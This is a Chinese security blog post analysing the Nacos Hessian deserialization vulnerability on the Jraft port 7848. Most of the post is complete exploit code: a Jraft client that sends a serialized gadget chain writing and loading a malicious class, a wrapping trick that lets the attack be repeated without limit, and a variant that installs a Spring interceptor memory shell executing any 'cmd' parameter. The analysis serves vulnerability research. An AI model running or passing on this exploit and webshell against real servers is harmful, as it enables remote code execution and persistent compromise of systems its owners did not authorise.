avatar
CRUMBLEDWALL
Keep Curious
Nacos Hessian 反序列化利用分析
Jul 01,2023

这段时间终于闲下来了,复现了一下 Nacos Hessian 反序列化这个洞,感觉具体利用还挺有意思的,来记录一下。其实这个洞不像最初的分析文章说的那样只能打一次,只要再封装一下就可以多次利用了,后文来具体分析一下。

漏洞入口

漏洞的修复逻辑都集中在这个 pr 里,漏洞主要的问题是 Nacos 对外暴露的 7848 Jraft 协议通信端口,面对序列化的数据,默认会使用 SerializeFactory 类来调用默认的反序列化 Factory 来进行反序列化,而这里默认的反序列化协议是 Hessian,Hessian 反序列化又有直接的原生链,因此可以直接 RCE。

在这个 pr 的第二个 commit 里,我们可以找到调用 Hessian 反序列化的位置,主要是在几个类的 onApply 方法里,调用了 serializer.deserialize 方法去反序列化,而这里最终会通过 SerializeFactory 调用到默认的 HessianSerializer 去反序列化。这里一共有四个工厂类调用了这个反序列化的方法,分别是DistributedDatabaseOperateImpl、InstanceMetadataProcessor、ServiceMetadataProcessor、PersistentClientOperationServiceImpl,其中第一个具体怎么调用研究起来比较麻烦,后面三个会简单一点,方法也基本相同。这三个类这也对应了之前流传的,修改 setGroup 为 naming_instance_metadata、naming_service_metadata 以及 naming_persistent_service_v2 来打三次的方法。

漏洞利用

那么知道了漏洞的入口,接下来的问题就是怎么触发 onApply 方法。我们需要写一个 jraft 的客户端,参考一堆资料可以写出下面这样的客户端,在 evilBytes 塞 Hessian 的反序列化数据。这里主要也参考了一个 issue,保证我们的 writeRequest 对象能成功发送给服务端。

public static void sendRequest(byte[] evilBytes) throws Exception {
        Configuration conf = new Configuration();
        conf.parse("127.0.0.1:7848");
        CliClientServiceImpl cliClientService = new CliClientServiceImpl();
        cliClientService.init(new CliOptions());

        RpcFactoryHelper.rpcFactory().registerProtobufSerializer("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
        MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());

        WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(ByteString.copyFrom(evilBytes));
        Object resp = cliClientService.getRpcClient().invokeSync(conf.getPeers().get(0).getEndpoint(), writeRequestBuilder.build(), 5000);
        System.out.println(resp);
    }

然后关于 Hessian 的反序列化利用方面,可以参考 ysomap 的实现,ysomap LazyValue 写文件的利用这里可以直接使用。当时 TCTF 那题就是 ban 了这个链,让选手去找其他的链。具体的实现如下,需要打两次,分别使用 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename 写恶意类和 sun.security.tools.keytool.Main.main 加载恶意类。然后这里走的是调用 ServiceMetadataProcessor 这个类的路线,具体的 Exp 如下,这个 Exp 是可以打无数次的。

import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.conf.Configuration;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.alipay.sofa.jraft.util.RpcFactoryHelper;
import com.caucho.hessian.io.Hessian2Output;
import com.google.protobuf.ByteString;
import javassist.*;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;

public class exp {
    public static byte[] packObject(SwingLazyValue lazyValue) throws Exception {
        UIDefaults uiDefaults1 = new UIDefaults();
        uiDefaults1.put("_", lazyValue);
        UIDefaults uiDefaults2 = new UIDefaults();
        uiDefaults2.put("_", lazyValue);

        HashMap<Object, Object> s = new HashMap<Object, Object>();
        Field f = s.getClass().getDeclaredField("size");
        f.setAccessible(true);
        f.set(s, 2);
        Class<?> nodeC = Class.forName("java.util.HashMap$Node");

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, uiDefaults1, null, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, uiDefaults2, null, null));
        Field tf = s.getClass().getDeclaredField("table");
        tf.setAccessible(true);
        tf.set(s, tbl);

        MetadataOperation<HashMap> mp = new MetadataOperation<HashMap>();
        Field metadata = mp.getClass().getDeclaredField("metadata");
        metadata.setAccessible(true);
        metadata.set(mp, s);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(mp);
        output.flushBuffer();

        return baos.toByteArray();
    }

    public static void sendRequest(byte[] evilBytes) throws Exception {
        Configuration conf = new Configuration();
        conf.parse("127.0.0.1:7848");
        CliClientServiceImpl cliClientService = new CliClientServiceImpl();
        cliClientService.init(new CliOptions());

        RpcFactoryHelper.rpcFactory().registerProtobufSerializer("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
        MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());

        WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(ByteString.copyFrom(evilBytes));
        Object resp = cliClientService.getRpcClient().invokeSync(conf.getPeers().get(0).getEndpoint(), writeRequestBuilder.build(), 5000);
        System.out.println(resp);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("evil");

        CtConstructor cs = ctClass.makeClassInitializer();
        cs.setBody("try {\n" +
                "Runtime.getRuntime().exec(\"calc\");\n" +
                " }");
        byte[] classBytes = ctClass.toBytecode();

        SwingLazyValue lazyValue1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"./evil.class", classBytes});
        SwingLazyValue lazyValue2 = new SwingLazyValue("sun.security.tools.keytool.Main", "main", new Object[]{new String[]{
                "-LIST",
                "-provider:",
                "evil",
                "-keystore",
                "NONE",
                "-protected",
                "-debug",
                "-providerpath",
                "./"
        }});

        sendRequest(packObject(lazyValue1));
        sendRequest(packObject(lazyValue2));
    }
}

附属问题

多次利用

然后就是关于这个洞只能只能打一次这个问题了,这个按照之前的打法出现问题的原因主要是在 AbstractProcessor 这里,如果 isLeader 函数中获取到的 state 为 STATE_ERROR,就会报错,不进入 execute 的函数逻辑中。

而这个报错主要是由于这一步强制类型转换导致的,按照 Hessian 的反序列化链,我们传入的是一个 HashMap 对象,它被强转成 MetadataOpration 时会报错,最终在 com.alibaba.nacos.core.distributed.raft.NacosStateMachine 类的 obApply 方法中被设置了 STATE_ERROR。

那么其实只要在 HashMap 外面“裹一层” MetadataOperation 对象就可以了,这个类是泛型类,metadata 这个属性设置成什么都可以,刚好可以用来放反序列化的 HashMap。这样封装之后,不会触发 STATE_ERROR,可以打无数次。封装的形式如下。

MetadataOperation<HashMap> mp = new MetadataOperation<HashMap>();
Field metadata = mp.getClass().getDeclaredField("metadata");
metadata.setAccessible(true);
metadata.set(mp, s);

另外这个 MetadataOperatio 应该只适用于 InstanceMetadataProcessor 和 ServiceMetadataProcessor 这两个类,PersistentClientOperationServiceImpl 这个类要更复杂一点,具体封装的方法可以像下面这样,也想办法把 hashMap 塞进去

Instance instance = new Instance();
Field metadata = instance.getClass().getDeclaredField("metadata");
metadata.setAccessible(true);
metadata.set(instance, hashMap);

Class<?> InstanceStoreRequestClass = Class.forName("com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl$InstanceStoreRequest");
Constructor InstanceStoreRequestConstructor = InstanceStoreRequestClass.getDeclaredConstructor();
InstanceStoreRequestConstructor.setAccessible(true);
Object instanceStoreRequest = InstanceStoreRequestConstructor.newInstance();
Field instanceField = InstanceStoreRequestClass.getDeclaredField("instance");
instanceField.setAccessible(true);
instanceField.set(instanceStoreRequest, instance);

此外,想打 PersistentClientOperationServiceImpl 的话,jraft 客户端这里也得加一个 setOperation,保证执行不报错。

内存马

关于内存马的问题,因为 nacos 是个 springboot,而且 8848 端口有 web 服务,所以可以直接打 springboot 的 interceptor 内存马,需要这样改一下 Exp。

  public static void main(String[] args) throws Exception {
      ClassPool pool = ClassPool.getDefault();
      pool.importPackage("org.springframework.web.servlet.handler.AbstractHandlerMapping");
      pool.importPackage("org.springframework.web.context.WebApplicationContext");
      pool.importPackage("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
      pool.importPackage("javax.servlet.http.HttpServletRequest");
      pool.importPackage("javax.servlet.http.HttpServletResponse");
      pool.importPackage("java.io.PrintWriter");
      pool.importPackage("java.io.Writer");
      pool.importPackage("java.lang.reflect.Field");
      pool.importPackage("java.util.ArrayList");
      pool.importPackage("java.util.LinkedHashSet");
      pool.importPackage("java.util.Scanner");
      CtClass ctClass = pool.makeClass("evil");
      ctClass.setInterfaces(new CtClass[]{pool.get("org.springframework.web.servlet.HandlerInterceptor")});

      CtConstructor cs = ctClass.makeClassInitializer();
      cs.setBody("try {\n" +
              "   Field field = Class.forName(\"org.springframework.context.support.LiveBeansView\").getDeclaredField(\"applicationContexts\");\n" +
              "   field.setAccessible(true);\n" +
              "   WebApplicationContext context = (WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();\n" +
              "   AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);\n" +
              "   Field field1 = AbstractHandlerMapping.class.getDeclaredField(\"adaptedInterceptors\");\n" +
              "   field1.setAccessible(true);\n" +
              "   ArrayList adaptedInterceptors = (ArrayList) field1.get(abstractHandlerMapping);\n" +
              "   adaptedInterceptors.add(Class.forName(\"evil\").newInstance());\n" +
              "   System.out.println(\"Done!!!\");\n" +
              "} catch (Exception e) {\n" +
              "   e.printStackTrace();\n" +
              " }");
      CtMethod cm = CtNewMethod.make("public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n" +
              "   String code = request.getParameter(\"cmd\");\n" +
              "   if(code != null){\n" +
              "       try {\n" +
              "           PrintWriter writer = response.getWriter();\n" +
              "           String o = \"\";\n" +
              "           ProcessBuilder p;\n" +
              "           if(System.getProperty(\"os.name\").toLowerCase().contains(\"win\")){\n" +
              "               p = new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", code});\n" +
              "           }else{\n" +
              "               p = new ProcessBuilder(new String[]{\"/bin/sh\", \"-c\", code});\n" +
              "           }\n" +
              "           Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(\"\\\\\\\\A\");\n" +
              "           o = c.hasNext() ? c.next(): o;\n" +
              "           c.close();\n" +
              "           writer.write(o);\n" +
              "           writer.flush();\n" +
              "           writer.close();\n" +
              "       }catch (Exception e){\n" +
              "           e.printStackTrace();\n" +
              "       }\n" +
              "       return false;\n" +
              "   }\n" +
              "   return true;\n" +
              "}", ctClass);
      ctClass.addMethod(cm);
      byte[] classBytes = ctClass.toBytecode();

      SwingLazyValue lazyValue1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"./evil.class", classBytes});
      SwingLazyValue lazyValue2 = new SwingLazyValue("sun.security.tools.keytool.Main", "main", new Object[]{new String[]{
              "-LIST",
              "-provider:",
              "evil",
              "-keystore",
              "NONE",
              "-protected",
              "-debug",
              "-providerpath",
              "./"
      }});

      sendRequest(packObject(lazyValue1));
      sendRequest(packObject(lazyValue2));
  }

然后随便访问一个后端接口就可以用了。

Exp 的依赖问题

然后就是 Exp 项目的一点小问题,用来实现客户端的 com.alipay.sofa.jraft-core 这个库会引入一个 Hessian,一个 protobuf-java 依赖,都会跟 nacos 的依赖冲突,需要在 pom.xml 那边排除一下。

<dependencies>
        <dependency>
            <groupId>com.alipay.sofa</groupId>
            <artifactId>jraft-core</artifactId>
            <version>1.3.12</version>
            <exclusions>
                <exclusion>
                    <groupId>com.alipay.sofa</groupId>
                    <artifactId>hessian</artifactId>
                </exclusion>
                <exclusion>
                    <groupId>com.google.protobuf</groupId>
                    <artifactId>protobuf-java</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>com.alibaba.nacos</groupId>
            <artifactId>nacos-naming</artifactId>
            <version>2.3.0-SNAPSHOT</version>
        </dependency>
        <dependency>
            <groupId>com.alipay.sofa</groupId>
            <artifactId>rpc-grpc-impl</artifactId>
            <version>1.3.12</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>
    </dependencies>

最后把具体的几个 poc 整理成了一个 repo,可以参考一下。

Copyright @ 2018-2024
Crumbledwall